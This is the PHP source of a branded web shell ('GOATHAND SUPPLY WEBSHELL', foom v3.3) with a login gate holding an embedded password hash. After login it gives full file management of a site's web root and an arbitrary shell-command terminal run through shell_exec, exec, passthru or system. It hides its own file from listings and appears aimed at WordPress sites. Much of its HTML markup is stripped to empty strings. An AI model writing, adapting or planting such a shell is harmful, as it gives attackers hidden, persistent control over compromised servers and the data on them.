'goathandsupply', 'hash' => '$2y$10$CdTaD.TisJ6jBTIAi0mFauyQ8R0ZOoPwViKldAOKzFdRrAtPJpX.W', 'allowed_ips' => [], 'root' => __DIR__, 'timeout' => 1800, 'max_edit' => 2097152, ]; session_start(); header('X-Frame-Options: DENY'); header('X-Content-Type-Options: nosniff'); header('Cache-Control: no-store'); header('Referrer-Policy: no-referrer'); define('ROOT', rtrim($CFG['root'], '/')); define('SELF', basename(__FILE__)); function h($s) { return htmlspecialchars((string)$s, ENT_QUOTES, 'UTF-8'); } function flash($msg, $type = 'ok') { $_SESSION['flash'][] = [$msg, $type]; } function size_human($b) { if ($b >= 1073741824) return round($b / 1073741824, 2) . ' GB'; if ($b >= 1048576) return round($b / 1048576, 1) . ' MB'; if ($b >= 1024) return round($b / 1024, 1) . ' KB'; return $b . ' B'; } function safe_path($rel) { $rel = str_replace('\\', '/', (string)$rel); if ($rel === '' || $rel === '.' || $rel === './') return ROOT; $target = ROOT . '/' . preg_replace('#^/+#', '', $rel); $real = realpath($target); if ($real === false) return false; if ($real !== ROOT && strpos($real, ROOT . '/') !== 0) return false; return $real; } function safe_child($dir_rel, $name) { $parent = safe_path($dir_rel); if ($parent === false || !is_dir($parent)) return false; $name = trim((string)$name); if ($name === '' || $name === '.' || $name === '..' || strpbrk($name, '/\\') !== false) return false; return $parent . '/' . $name; } function is_protected($abs) { $b = basename((string)$abs); return $b === 'wp-config.php' || $b === SELF; } function rel_of($abs) { return ltrim(substr($abs, strlen(ROOT)), '/'); } function rrmdir($dir) { foreach (scandir($dir) as $e) { if ($e === '.' || $e === '..') continue; $p = $dir . '/' . $e; if (is_dir($p)) { rrmdir($p); } else { unlink($p); } } return rmdir($dir); } function rcopy($src, $dst) { mkdir($dst, 0755, true); $ok = true; foreach (scandir($src) as $e) { if ($e === '.' || $e === '..') continue; $s = $src . '/' . $e; $d = $dst . '/' . $e; if (is_dir($s)) { $ok = rcopy($s, $d) && $ok; } else { $ok = copy($s, $d) && $ok; } } return $ok; } function run_cmd($cmd) { @set_time_limit(0); $cmd = 'cd ' . escapeshellarg(ROOT) . ' && ' . $cmd . ' 2>&1; echo "__rc:$?"'; $out = null; if (function_exists('shell_exec')) { $out = shell_exec($cmd); } elseif (function_exists('exec')) { $lines = []; exec($cmd, $lines); $out = implode("\n", $lines); } elseif (function_exists('passthru')) { ob_start(); passthru($cmd); $out = ob_get_clean(); } elseif (function_exists('system')) { ob_start(); system($cmd); $out = ob_get_clean(); } else { return ['', -1]; } $out = (string)$out; $rc = -1; if (preg_match('/^(.*?)(?:\n)?__rc:(\d+)\n?$/s', $out, $m)) { $out = $m[1]; $rc = (int)$m[2]; } return [$out, $rc]; } function perm_rwx($m) { $s = ''; for ($i = 1; $i <= 3; $i++) { $d = (int)$m[$i]; $s .= ($d & 4 ? 'r' : '-') . ($d & 2 ? 'w' : '-') . ($d & 1 ? 'x' : '-'); } return $s; } function file_type($name) { $e = strtolower(pathinfo($name, PATHINFO_EXTENSION)); if (in_array($e, ['php','css','js','mjs','ts','html','htm','xml','json','sh','py','rb','go','java','c','h','cpp','sql','yml','yaml','ini','conf','env','htaccess','twig'], true)) return 'code'; if (in_array($e, ['txt','md','log','csv','rst','me'], true)) return 'text'; if (in_array($e, ['png','jpg','jpeg','gif','webp','svg','ico','bmp','avif'], true)) return 'img'; if (in_array($e, ['zip','gz','tar','rar','7z','bz2'], true)) return 'zip'; return 'file'; } function file_icon($type) { $paths = [ 'folder' => '', 'file' => '', 'code' => '', 'text' => '', 'img' => '', 'zip' => '', ]; return ''; } function goathand_logo($px = 64) { $px = (int)$px; return '' . '' . '' . '' . '' . '' . '' . '' . '' . '' . '' . '' . '' . '' . '' . ''; } function rate_file() { return rtrim(sys_get_temp_dir(), '/') . '/fm_lock_' . md5($_SERVER['REMOTE_ADDR']); } function rate_blocked() { $f = rate_file(); return is_file($f) && filemtime($f) > time() - 300; } function rate_fail() { $f = rate_file(); $n = is_file($f) ? (int)@file_get_contents($f) : 0; if ($n + 1 >= 5) { @file_put_contents($f, '0'); @touch($f); return true; } @file_put_contents($f, (string)($n + 1)); return false; } function rate_reset() { @unlink(rate_file()); } function csrf_token() { if (empty($_SESSION['csrf'])) { if (function_exists('random_bytes')) { $_SESSION['csrf'] = bin2hex(random_bytes(32)); } elseif (function_exists('openssl_random_pseudo_bytes')) { $_SESSION['csrf'] = bin2hex(openssl_random_pseudo_bytes(32)); } else { $_SESSION['csrf'] = md5(uniqid(mt_rand(), true)) . md5(uniqid(mt_rand(), true)); } } return $_SESSION['csrf']; } function csrf_check() { if (!hash_equals(isset($_SESSION['csrf']) ? $_SESSION['csrf'] : '', isset($_POST['csrf']) ? $_POST['csrf'] : '')) { http_response_code(403); exit('Invalid CSRF token. Reload the page.'); } } $login_error = ''; if (isset($_POST['login'])) { if (rate_blocked()) { $login_error = 'Too many attempts. Try again in ' . max(1, ceil((filemtime(rate_file()) + 300 - time()) / 60)) . ' minute(s).'; } else { $ok = $CFG['hash'] !== '' && hash_equals($CFG['user'], (string)(isset($_POST['user']) ? $_POST['user'] : '')) && password_verify((string)(isset($_POST['pass']) ? $_POST['pass'] : ''), $CFG['hash']); if ($ok) { rate_reset(); session_regenerate_id(true); $_SESSION['authed'] = true; $_SESSION['last'] = time(); } else { rate_fail(); $login_error = 'Login failed.'; } } } if (isset($_POST['logout'])) { csrf_check(); $_SESSION = []; session_destroy(); } if ($CFG['allowed_ips'] && !in_array($_SERVER['REMOTE_ADDR'], $CFG['allowed_ips'], true)) { http_response_code(403); exit('Forbidden.'); } $authed = !empty($_SESSION['authed']) && time() - (isset($_SESSION['last']) ? $_SESSION['last'] : 0) <= $CFG['timeout']; if (!$authed) { render_login($login_error); exit; } $_SESSION['last'] = time(); if ((isset($_GET['action']) ? $_GET['action'] : '') === 'download') { $abs = safe_path(isset($_GET['f']) ? $_GET['f'] : ''); if ($abs === false || !is_file($abs)) { http_response_code(404); exit('File not found.'); } if (is_protected($abs)) { http_response_code(403); exit('Blocked: protected file.'); } $fn = str_replace(['"', "\r", "\n"], '_', basename($abs)); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . $fn . '"'); header('Content-Length: ' . filesize($abs)); readfile($abs); exit; } if ($_SERVER['REQUEST_METHOD'] === 'POST') { if (empty($_POST) && empty($_FILES)) { flash('Upload failed: file exceeds post_max_size (' . ini_get('post_max_size') . ').', 'err'); header('Location: ?'); exit; } csrf_check(); $act = (string)(isset($_POST['action']) ? $_POST['action'] : ''); $rel = (string)(isset($_POST['path']) ? $_POST['path'] : ''); $abs = safe_path($rel); $q = trim((string)(isset($_POST['q']) ? $_POST['q'] : '')); if ($abs === ROOT && in_array($act, ['delete', 'rename', 'copy', 'move', 'chmod'], true)) { flash('Blocked: cannot modify the root folder.', 'err'); $back = $rel === '' ? '' : $rel; header('Location: ?' . http_build_query(['p' => $back, 'q' => $q])); exit; } switch ($act) { case 'mkdir': $t = safe_child($rel, isset($_POST['extra']) ? $_POST['extra'] : ''); if (!$t) flash('Invalid folder name.', 'err'); elseif (is_protected($t)) flash('Blocked: protected name.', 'err'); elseif (mkdir($t, 0755)) flash('Folder created.'); else flash('Failed to create folder (check permissions).', 'err'); break; case 'mkfile': $t = safe_child($rel, isset($_POST['extra']) ? $_POST['extra'] : ''); if (!$t) flash('Invalid file name.', 'err'); elseif (is_protected($t)) flash('Blocked: protected name.', 'err'); elseif (file_put_contents($t, '') !== false) flash('File created.'); else flash('Failed to create file (check permissions).', 'err'); break; case 'upload': $dir = $abs; if ($dir === false || !is_dir($dir)) flash('Invalid destination folder.', 'err'); elseif (empty($_FILES['files']['name'])) flash('No file selected.', 'err'); else { $n = 0; $max = ini_get('upload_max_filesize'); foreach ($_FILES['files']['error'] as $i => $err) { if ($err === UPLOAD_ERR_OK) { $name = basename($_FILES['files']['name'][$i]); $t = $dir . '/' . $name; if (is_protected($t)) { flash('Blocked: ' . $name . ' is protected.', 'err'); continue; } if (move_uploaded_file($_FILES['files']['tmp_name'][$i], $t)) $n++; else flash('Upload failed: ' . $name, 'err'); } elseif (in_array($err, [UPLOAD_ERR_INI_SIZE, UPLOAD_ERR_FORM_SIZE], true)) { flash('Exceeds server upload limit (' . $max . ').', 'err'); } elseif ($err !== UPLOAD_ERR_NO_FILE) { flash('Upload error code ' . $err, 'err'); } } if ($n) flash($n . ' file(s) uploaded.'); } break; case 'delete': if ($abs === false || !file_exists($abs)) flash('File not found.', 'err'); elseif (is_protected($abs)) flash('Blocked: protected file.', 'err'); elseif (is_dir($abs)) { $ok = rrmdir($abs); flash($ok ? 'Folder deleted.' : 'Failed to delete (check permissions).', $ok ? 'ok' : 'err'); } elseif (unlink($abs)) flash('Deleted.'); else flash('Failed to delete (check permissions).', 'err'); break; case 'bulk_delete': $paths = isset($_POST['paths']) ? $_POST['paths'] : array(); if (!is_array($paths) || !$paths) flash('Nothing selected.', 'err'); else { $del = 0; $blocked = 0; $miss = 0; foreach ($paths as $p) { $a = safe_path((string)$p); if ($a === false || $a === ROOT || !file_exists($a)) { $miss++; continue; } if (is_protected($a)) { $blocked++; continue; } if (is_dir($a)) { $del += rrmdir($a) ? 1 : 0; } else { $del += unlink($a) ? 1 : 0; } } $msg = 'Deleted ' . $del . ' item' . ($del === 1 ? '' : 's') . '.'; if ($blocked) $msg .= ' ' . $blocked . ' blocked (protected).'; if ($miss) $msg .= ' ' . $miss . ' not found.'; flash($msg, $del ? 'ok' : 'err'); } break; case 'rename': $new = safe_child(dirname($rel), isset($_POST['extra']) ? $_POST['extra'] : ''); if ($abs === false || !file_exists($abs)) flash('File not found.', 'err'); elseif (is_protected($abs)) flash('Blocked: protected file.', 'err'); elseif (!$new) flash('Invalid new name.', 'err'); elseif (is_protected($new)) flash('Blocked: protected name.', 'err'); elseif (rename($abs, $new)) flash('Renamed.'); else flash('Rename failed.', 'err'); break; case 'copy': case 'move': $dst_dir = safe_path(isset($_POST['extra']) ? $_POST['extra'] : ''); if ($abs === false || !file_exists($abs)) flash('File not found.', 'err'); elseif (is_protected($abs)) flash('Blocked: protected file.', 'err'); elseif ($dst_dir === false || !is_dir($dst_dir)) flash('Invalid destination folder.', 'err'); else { $dst = $dst_dir . '/' . basename($abs); if (is_protected($dst)) flash('Blocked: protected destination.', 'err'); elseif (file_exists($dst)) flash('Already exists in the destination.', 'err'); else { $done = false; if ($act === 'copy') { $done = is_dir($abs) ? rcopy($abs, $dst) : copy($abs, $dst); } else { if (rename($abs, $dst) === false) { if (is_dir($abs)) { $done = rcopy($abs, $dst) && rrmdir($abs); } else { $done = copy($abs, $dst) && unlink($abs); } } else { $done = true; } } flash($done ? ($act === 'copy' ? 'Copied.' : 'Moved.') : 'Failed. Check destination & permissions.', $done ? 'ok' : 'err'); } } break; case 'chmod': $mode = trim((string)(isset($_POST['extra']) ? $_POST['extra'] : '')); if ($abs === false || !file_exists($abs)) flash('File not found.', 'err'); elseif (is_protected($abs)) flash('Blocked: protected file.', 'err'); elseif (!preg_match('/^[0-7]{3,4}$/', $mode)) flash('Invalid mode (e.g. 0644 or 755).', 'err'); elseif (chmod($abs, octdec($mode))) flash('Permissions changed to ' . $mode . '.'); else flash('Failed to change permissions.', 'err'); break; case 'save': if ($abs === false || !is_file($abs)) flash('File not found.', 'err'); elseif (is_protected($abs)) flash('Blocked: protected file.', 'err'); elseif (!is_writable($abs)) flash('File is not writable — check permissions.', 'err'); elseif (!isset($_POST['content'])) flash('Failed to save (incomplete form).', 'err'); elseif (file_put_contents($abs, (string)(isset($_POST['content']) ? $_POST['content'] : ''), LOCK_EX) === false) flash('Failed to save.', 'err'); else { flash('Saved.'); header('Location: ?action=edit&f=' . rawurlencode($rel)); exit; } break; case 'extract': if ($abs === false || !is_file($abs)) flash('File not found.', 'err'); elseif (is_protected($abs)) flash('Blocked: protected file.', 'err'); elseif (strtolower(pathinfo($abs, PATHINFO_EXTENSION)) !== 'zip') flash('Not a .zip archive.', 'err'); elseif (!class_exists('ZipArchive')) flash('ZipArchive extension is not enabled on this server.', 'err'); else { $target = dirname($abs) . '/' . pathinfo($abs, PATHINFO_FILENAME); if (file_exists($target)) flash('"' . basename($target) . '" already exists.', 'err'); else { $zip = new ZipArchive(); if ($zip->open($abs) !== true) flash('Cannot open archive (corrupt or unreadable).', 'err'); else { $ok = true; $n = 0; for ($i = 0; $i < $zip->numFiles; $i++) { $name = str_replace('\\', '/', $zip->getNameIndex($i)); if ($name === '' || $name[0] === '/' || preg_match('#(^|/)\.\.(/|$)#', $name)) { $ok = false; break; } $dest = $target . '/' . $name; if (substr($name, -1) === '/') { if (!is_dir($dest) && !@mkdir($dest, 0755, true)) { $ok = false; break; } } else { $d = dirname($dest); if (!is_dir($d) && !@mkdir($d, 0755, true)) { $ok = false; break; } if (file_put_contents($dest, $zip->getFromIndex($i)) === false) { $ok = false; break; } $n++; } } $zip->close(); if ($ok) flash('Extracted ' . $n . ' file(s) to "' . basename($target) . '".'); else { if (is_dir($target)) rrmdir($target); flash('Extract aborted: unsafe or unreadable entry.', 'err'); } } } } break; case 'term': $cmd = trim((string)(isset($_POST['extra']) ? $_POST['extra'] : '')); if ($cmd === '') flash('Empty command.', 'err'); elseif (!function_exists('shell_exec') && !function_exists('exec') && !function_exists('passthru') && !function_exists('system')) flash('Command execution is disabled on this server (disable_functions).', 'err'); else { list($out, $rc) = run_cmd($cmd); $_SESSION['term'] = ['cmd' => $cmd, 'out' => $out, 'rc' => $rc]; } header('Location: ?action=term'); exit; } $back = ($act === 'mkdir' || $act === 'upload' || $act === 'bulk_delete') ? $rel : dirname($rel); if ($back === '' || $back === '.') $back = ''; header('Location: ?' . http_build_query(['p' => $back, 'q' => $q])); exit; } $edit = null; $edit_err = null; if ((isset($_GET['action']) ? $_GET['action'] : '') === 'edit') { $abs = safe_path(isset($_GET['f']) ? $_GET['f'] : ''); if ($abs === false || !is_file($abs)) $edit_err = 'File not found.'; elseif (is_protected($abs)) $edit_err = 'Blocked: this file is protected.'; elseif (filesize($abs) > $CFG['max_edit']) $edit_err = 'File too large for the editor (' . size_human(filesize($abs)) . ').'; elseif (!is_readable($abs)) $edit_err = 'File is not readable.'; else $edit = [ 'rel' => rel_of($abs), 'name' => basename($abs), 'content' => file_get_contents($abs), 'writable' => is_writable($abs), ]; } $show_term = (isset($_GET['action']) ? $_GET['action'] : '') === 'term'; $term_run = null; if ($show_term) { $term_run = isset($_SESSION['term']) ? $_SESSION['term'] : null; unset($_SESSION['term']); } $cur = safe_path(isset($_GET['p']) ? $_GET['p'] : ''); if ($cur === false) { flash('Access denied: path outside root.', 'err'); $cur = ROOT; } elseif (!is_dir($cur)) { flash('Invalid folder.', 'err'); $cur = ROOT; } $q = trim((string)(isset($_GET['q']) ? $_GET['q'] : '')); $items = []; foreach (scandir($cur) as $e) { if ($e === '.' || $e === '..' || $e === SELF) continue; if ($q !== '' && stripos($e, $q) === false) continue; $full = $cur . '/' . $e; $perm = substr(sprintf('%o', fileperms($full)), -4); $items[] = [ 'name' => $e, 'dir' => is_dir($full), 'size' => is_file($full) ? size_human(filesize($full)) : '-', 'bytes' => is_file($full) ? filesize($full) : 0, 'mtime' => date('d M Y H:i', filemtime($full)), 'mt' => filemtime($full), 'perm' => $perm, 'rwx' => perm_rwx($perm), 'rel' => rel_of($full), 'locked' => is_protected($full), 'type' => is_dir($full) ? 'folder' : file_type($e), ]; } usort($items, function ($a, $b) { if ($a['dir'] !== $b['dir']) return $a['dir'] ? -1 : 1; return strcasecmp($a['name'], $b['name']); }); $crumb = []; $parts = array_filter(explode('/', rel_of($cur)), 'strlen'); $acc = ''; foreach ($parts as $seg) { $acc .= ($acc === '' ? '' : '/') . $seg; $crumb[] = ['label' => $seg, 'rel' => $acc]; } function render_login($err) { ?> GOATHAND SUPPLY WEBSHELL — File Manager
Configuration incomplete (empty hash). Set the hash in $CFG.

GOATHAND SUPPLY WEBSHELL · foom v3.3
TG: @oppencode · @goathandsupply

GOATHAND SUPPLY WEBSHELL — <?= h($cur === ROOT ? 'Root' : rel_of($cur)) ?>
This file is not writable (permission ). Saving will be rejected until permissions are changed.
Ctrl+S to save
← Back / terminal —
$ ready. Type a command above.
[exit: ]
Root $c): ?> ›
Terminal
max
Name Size Permissions Modified Actions
Empty folder
/ protected Edit DL

GOATHAND SUPPLY WEBSHELL · foom v3.3
TG: @oppencode · @goathandsupply